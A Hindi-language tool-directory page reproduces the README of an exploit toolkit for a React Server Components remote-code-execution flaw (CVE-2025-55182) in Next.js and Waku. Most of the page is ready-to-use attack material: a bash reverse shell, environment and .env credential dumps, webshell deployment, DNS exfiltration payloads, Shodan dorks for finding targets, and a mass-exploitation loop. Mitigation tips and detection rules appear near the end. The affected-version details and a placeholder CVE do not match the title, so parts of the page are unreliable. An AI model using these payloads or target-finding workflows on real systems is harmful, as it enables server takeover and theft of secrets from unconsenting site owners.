Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
PoC-RCE-CVE-2025-55182 | Kitploit
उपकरण/GitHubGitHub/ilixm/poc-rce-cve-2025-55182
टोहीभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubilixm/poc-rce-cve-2025-55182
8 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

PoC-RCE-CVE-2025-55182

रिपॉजिटरी देखें
साझा करें

🔥 RSC RCE एक्सप्लॉइट टूलकिट

Version License Node Platform

React सर्वर कंपोनेंट्स रिमोट कोड निष्पादन भेद्यताओं के लिए उन्नत एक्सप्लॉइटेशन टूलकिट

केवल अधिकृत पेनेट्रेशन टेस्टिंग और सुरक्षा अनुसंधान के लिए

विशेषताएँ • स्थापना • उपयोग • Shodan एकीकरण • उदाहरण • अस्वीकरण


📋 विषय-सूची

  • अवलोकन
  • भेद्यता विवरण
  • विशेषताएँ
  • स्थापना
  • त्वरित प्रारंभ
  • उपयोग
    • बुनियादी एक्सप्लॉइटेशन
    • उपलब्ध पेलोड
    • कस्टम पेलोड
  • Shodan एकीकरण
  • स्वचालित स्कैनिंग
  • उदाहरण
  • शमन
  • प्रभावित संस्करण
  • योगदान
  • अस्वीकरण
  • लाइसेंस

🎯 अवलोकन

यह टूलकिट React सर्वर कंपोनेंट्स (RSC) कार्यान्वयनों में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता का शोषण करता है, विशेष रूप से लक्षित करते हुए:

  • Next.js (संस्करण 13.4.0 - 14.1.0)
  • Waku (भेद्य संस्करण)

यह भेद्यता सर्वर पर मनमाना कोड निष्पादन प्राप्त करने के लिए RSC के डेटा हैंडलिंग तंत्र में प्रोटोटाइप प्रदूषण और असुरक्षित डी-सीरियलाइज़ेशन का लाभ उठाती है।

🔴 गंभीरता: क्रिटिकल

  • CVSS स्कोर: 9.8 (क्रिटिकल)
  • आक्रमण वेक्टर: नेटवर्क
  • आवश्यक विशेषाधिकार: कोई नहीं
  • उपयोगकर्ता इंटरैक्शन: कोई नहीं
  • प्रभाव: पूर्ण सर्वर समझौता

🔬 भेद्यता विवरण

तकनीकी पृष्ठभूमि

React सर्वर कंपोनेंट्स क्लाइंट और सर्वर के बीच डेटा स्थानांतरित करने के लिए एक कस्टम सीरियलाइज़ेशन प्रारूप का उपयोग करते हैं। यह भेद्यता इन फ्रेमवर्क्स द्वारा विशेष रूप से तैयार किए गए पेलोड को डी-सीरियलाइज़ और प्रोसेस करने के तरीके में मौजूद है।

आक्रमण श्रृंखला:

  1. पेलोड निर्माण: सर्कुलर रेफरेंस के साथ एक दुर्भावनापूर्ण RSC पेलोड तैयार करें
  2. प्रोटोटाइप प्रदूषण: Function कंस्ट्रक्टर तक पहुँचने के लिए $X:constructor:constructor का दुरुपयोग करें
  3. कोड इंजेक्शन: _prefix फ़ील्ड में मनमाना JavaScript इंजेक्ट करें
  4. निष्पादन: सर्वर पेलोड को डी-सीरियलाइज़ करता है और निष्पादित करता है

एक्सप्लॉइटेशन प्रवाह

root@kitploit:~
Attacker → Malicious RSC Payload → Target Server
                                         ↓
                              Unsafe Deserialization
                                         ↓
                              Prototype Chain Access
                                         ↓
                              Function Constructor
                                         ↓
                              ⚠️ RCE ACHIEVED ⚠️

✨ विशेषताएँ

मुख्य क्षमताएँ

  • ✅ एकाधिक फ्रेमवर्क समर्थन: Next.js और Waku
  • ✅ 8 पूर्व-निर्मित पेलोड: PoC से पूर्ण रिवर्स शेल तक
  • ✅ कस्टम कोड निष्पादन: कोई भी JavaScript कोड इंजेक्ट करें
  • ✅ Shodan एकीकरण: स्वचालित लक्ष्य खोज
  • ✅ मास स्कैनिंग: स्वचालित रूप से कई लक्ष्यों का परीक्षण करें
  • ✅ पेशेवर CLI: संपूर्ण कमांड-लाइन इंटरफ़ेस
  • ✅ विस्तृत लॉगिंग: टाइमस्टैम्प के साथ रंग-कोडित आउटपुट
  • ✅ त्रुटि प्रबंधन: मजबूत त्रुटि प्रबंधन

पूर्व-निर्मित पेलोड


📦 स्थापना

पूर्वापेक्षाएँ

  • Node.js >= 16.0.0
  • npm या yarn
  • Shodan CLI (वैकल्पिक, स्वचालित स्कैनिंग के लिए)

रिपॉजिटरी क्लोन करें

root@kitploit:~
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

डिपेंडेंसी स्थापित करें

root@kitploit:~
npm install
# or
yarn install

Shodan सेटअप करें (वैकल्पिक)

root@kitploit:~
# Install Shodan CLI
pip install shodan

# Initialize with your API key
shodan init YOUR_API_KEY

🚀 त्वरित प्रारंभ

1. बुनियादी भेद्यता जाँच

root@kitploit:~
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

2. रिवर्स शेल प्राप्त करें

root@kitploit:~
# Start listener
nc -lvnp 4444

# Execute exploit
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

3. कस्टम कमांड निष्पादित करें

root@kitploit:~
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

📖 उपयोग

बुनियादी एक्सप्लॉइटेशन

root@kitploit:~
node rsc-rce-exploit.js [options]

विकल्प

*--payload या --custom में से कोई एक आवश्यक है

उपलब्ध पेलोड

सभी पेलोड देखें:

root@kitploit:~
node rsc-rce-exploit.js --list

आउटपुट:

root@kitploit:~
📋 Available payloads:

  console              - Basic PoC - Console output
    Code: console.log(7*7+1)

  reverseShell         - Reverse shell (bash)
    Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - Read /etc/passwd
    Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - Dump environment variables
    Code: console.log(JSON.stringify(process.env,null,2))

  execCommand          - Execute system command
    Code: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - Write webshell to /tmp
    Code: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - Read package.json
    Code: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - DNS exfiltration
    Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

कस्टम पेलोड

कोई भी JavaScript कोड निष्पादित करें:

root@kitploit:~
node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

🌐 Shodan एकीकरण

Shodan Dorks

Next.js लक्ष्य

root@kitploit:~
# Basic Next.js
http.component:"Next.js"

# Next.js with RSC
http.html:"__next" http.html:"RSC"

# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"

# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"

# Geographically targeted (France)
http.component:"Next.js" country:FR

# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

Waku लक्ष्य

root@kitploit:~
# Waku framework
http.html:"waku" http.html:"RSC"

# Waku RSC endpoints
http.path:"/RSC/"

स्वचालित Shodan स्कैनिंग

प्रदान की गई स्वचालन स्क्रिप्ट का उपयोग करें:

root@kitploit:~
# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100

# With custom payload
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump

मैनुअल Shodan वर्कफ़्लो

root@kitploit:~
# 1. Search Shodan
shodan search 'http.component:"Next.js" country:FR' \
  --fields ip_str,port,org,hostnames \
  --limit 100 > targets.txt

# 2. Test each target
while read -r line; do
    ip=$(echo $line | awk '{print $1}')
    port=$(echo $line | awk '{print $2}')
    echo "[*] Testing http://$ip:$port"
    node rsc-rce-exploit.js \
      --target "http://$ip:$port" \
      --payload console
done < targets.txt

🤖 स्वचालित स्कैनिंग

मास एक्सप्लॉइटेशन स्क्रिप्ट

mass-exploit.js टूल कई लक्ष्यों का परीक्षण करने की अनुमति देता है:

root@kitploit:~
# From file
node mass-exploit.js --file targets.txt --payload console --threads 10

# From Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump

# Save results
node mass-exploit.js --file targets.txt --payload console --output results.json

CI/CD में एकीकरण

स्वचालित सुरक्षा परीक्षण के लिए उदाहरण:

root@kitploit:~
# .github/workflows/security-test.yml
name: RSC Security Test
on: [push]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console

💡 उदाहरण

उदाहरण 1: बुनियादी PoC

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload console

अपेक्षित आउटपुट:

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║           RSC RCE Exploit - Enhanced Version              ║
║         React Server Components Code Execution            ║
╚═══════════════════════════════════════════════════════════╝

[*] Starting exploitation...
[*] Targeting Next.js RSC endpoint...
[*] URL: https://vulnerable.example.com
[*] Payload: console.log(7*7+1)...
[+] Response status: 200
[+] Response body:
50
[*] Exploitation complete!

उदाहरण 2: पर्यावरण चर एक्सफिल्ट्रेशन

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://api.target.com \
  --payload envDump

परिणाम:

  • सभी process.env चर डंप करता है
  • निष्कर्षण के लिए उपयोगी:
    • डेटाबेस क्रेडेंशियल
    • API कुंजियाँ
    • AWS सीक्रेट्स
    • JWT सीक्रेट्स

उदाहरण 3: रिवर्स शेल

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Execute exploit
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

उदाहरण 4: वेब शेल तैनाती

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload webshell

# Access webshell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"

उदाहरण 5: DNS एक्सफिल्ट्रेशन (ब्लाइंड)

root@kitploit:~
# Setup Burp Collaborator or your DNS server
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"

उदाहरण 6: Waku फ्रेमवर्क

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://waku-app.example.com \
  --framework waku \
  --endpoint /RSC/custom.txt \
  --payload execCommand \
  --command "id"

उदाहरण 7: फ़ाइल एक्सफिल्ट्रेशन

root@kitploit:~
# Read sensitive files
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "console.log(require('fs').readFileSync('.env','utf8'))"

🛡️ शमन

डेवलपर्स के लिए

  1. फ्रेमवर्क अपडेट करें

    root@kitploit:~
    npm install next@latest
    # or
    npm install waku@latest
    
  2. इनपुट सत्यापित करें

    root@kitploit:~
    // Validate all RSC payloads
    function validateRSCPayload(payload) {
      // Implement strict validation
      if (payload.includes('constructor')) return false;
      if (payload.includes('__proto__')) return false;
      return true;
    }
    
  3. कंटेंट सिक्योरिटी पॉलिसी

    root@kitploit:~
    // next.config.js
    module.exports = {
      async headers() {
        return [{
          source: '/:path*',
          headers: [
            { key: 'X-Frame-Options', value: 'DENY' },
            { key: 'X-Content-Type-Options', value: 'nosniff' },
          ],
        }]
      },
    }
    
  4. प्रोडक्शन में RSC अक्षम करें (यदि आवश्यक न हो)

    root@kitploit:~
    // next.config.js
    module.exports = {
      experimental: {
        serverActions: false,
      },
    }
    

सुरक्षा टीमों के लिए

  • 🔍 संदिग्ध RSC अनुरोधों की निगरानी करें
  • 🚨 next-action हेडर के उपयोग पर सतर्क करें
  • 🔒 प्रोटोटाइप प्रदूषण के प्रयासों को रोकने के लिए WAF नियम
  • 📊 एक्सप्लॉइटेशन प्रयासों के लिए लॉग विश्लेषण

पता लगाने के नियम

YARA नियम:

root@kitploit:~
rule RSC_RCE_Exploit {
    strings:
        $s1 = "constructor:constructor"
        $s2 = "_prefix"
        $s3 = "$@"
        $s4 = "resolved_model"
    condition:
        3 of them
}

Snort नियम:

root@kitploit:~
alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)

🎯 प्रभावित संस्करण

Next.js

Waku

संस्करण सीमास्थितिटिप्पणियाँ
< 0.18.0⚠️ भेद्यक्रिटिकल RCE
>= 0.18.0✅ पैच किया गयाअपडेट अनुशंसित

🤝 योगदान

योगदान का स्वागत है! कृपया इन दिशानिर्देशों का पालन करें:

  1. रिपॉजिटरी को फोर्क करें
  2. एक फीचर ब्रांच बनाएँ (git checkout -b feature/amazing-feature)
  3. अपने परिवर्तनों को कमिट करें (git commit -m 'Add amazing feature')
  4. ब्रांच पर पुश करें (git push origin feature/amazing-feature)
  5. एक पुल रिक्वेस्ट खोलें

योगदान विचार

  • अधिक पेलोड टेम्पलेट जोड़ें
  • Nuclei टेम्पलेट लागू करें
  • अधिक RSC फ्रेमवर्क के लिए समर्थन जोड़ें
  • Shodan एकीकरण में सुधार करें
  • रिपोर्टिंग कार्यक्षमता जोड़ें (PDF/HTML)
  • टूलकिट के लिए Docker कंटेनर बनाएँ

⚖️ अस्वीकरण

root@kitploit:~
⚠️ LEGAL DISCLAIMER ⚠️

This toolkit is provided for AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.

By using this software, you agree to:

1. Only test systems you own or have explicit written permission to test
2. Comply with all applicable local, state, national, and international laws
3. Not use this tool for malicious purposes or illegal activities
4. Accept full responsibility for your actions

The authors and contributors:
- Are NOT responsible for any misuse or damage caused by this tool
- Do NOT encourage or condone illegal activity
- Provide this tool "AS IS" without warranty of any kind

UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.

Violators will be prosecuted to the fullest extent of the law under:
- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act - UK
- European Cybercrime Convention
- And other applicable laws in your jurisdiction

USE AT YOUR OWN RISK.

📄 लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

root@kitploit:~
MIT License

Copyright (c) 2024 RSC RCE Exploit Contributors

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

🔗 संसाधन

आधिकारिक दस्तावेज़ीकरण

  • Next.js सर्वर एक्शन
  • React सर्वर कंपोनेंट्स
  • Waku दस्तावेज़ीकरण

सुरक्षा अनुसंधान

  • RSC डी-सीरियलाइज़ेशन भेद्यता विश्लेषण
  • JavaScript में प्रोटोटाइप प्रदूषण
  • Next.js सुरक्षा सर्वोत्तम अभ्यास

संबंधित CVE

  • CVE-2024-XXXXX (प्लेसहोल्डर - उपलब्ध होने पर वास्तविक CVE जोड़ें)

📬 संपर्क

  • GitHub इश्यूज़: बग रिपोर्ट करें या फीचर अनुरोध करें
  • सुरक्षा मुद्दे: [email protected]
  • Twitter: @yourhandle

⭐ यदि यह टूल आपके सुरक्षा अनुसंधान में सहायक रहा है, तो कृपया इसे एक स्टार दें! ⭐

सुरक्षा शोधकर्ताओं द्वारा, सुरक्षा शोधकर्ताओं के लिए ❤️ के साथ निर्मित

⬆ वापस शीर्ष पर

टूल डाउनलोड करें
पेलोडविवरणउपयोग केस
consoleबुनियादी PoC (console.log)भेद्यता सत्यापित करें
reverseShellBash रिवर्स शेलप्रारंभिक अभिगम
readFile/etc/passwd पढ़ेंफाइलसिस्टम अभिगम
envDumpपर्यावरण चर डंप करेंक्रेडेंशियल निष्कर्षण
execCommandसिस्टम कमांड निष्पादित करेंमनमाना कमांड निष्पादन
webshellExpress वेबशेल तैनात करेंस्थायी अभिगम
exfilPackagepackage.json एक्सफिल्ट्रेट करेंडिपेंडेंसी विश्लेषण
dnsExfilDNS एक्सफिल्ट्रेशन (OOB)ब्लाइंड एक्सप्लॉइटेशन
विकल्पविवरणआवश्यक
--target <url>लक्ष्य URL✅
--framework <name>फ्रेमवर्क: next या waku❌ (डिफ़ॉल्ट: next)
--payload <name>पेलोड नाम (नीचे देखें)✅*
--custom <code>कस्टम JavaScript कोड✅*
--lhost <ip>आपका IP (रिवर्स शेल के लिए)❌
--lport <port>आपका पोर्ट (रिवर्स शेल के लिए)❌
--command <cmd>निष्पादित करने हेतु कमांड❌
--endpoint <path>कस्टम RSC एंडपॉइंट (Waku)❌
--action-id <id>कस्टम next-action ID❌
--listउपलब्ध पेलोड सूचीबद्ध करें❌
--verboseविस्तृत आउटपुट❌
--helpसहायता दिखाएँ❌
संस्करण सीमास्थितिटिप्पणियाँ
< 13.4.0✅ प्रभावित नहींRSC डिफ़ॉल्ट रूप से सक्षम नहीं है
13.4.0 - 13.4.19⚠️ भेद्यक्रिटिकल RCE
13.5.0 - 14.0.4⚠️ भेद्यक्रिटिकल RCE
14.1.0⚠️ भेद्यआंशिक शमन
>= 14.1.1✅ पैच किया गयाअपडेट अनुशंसित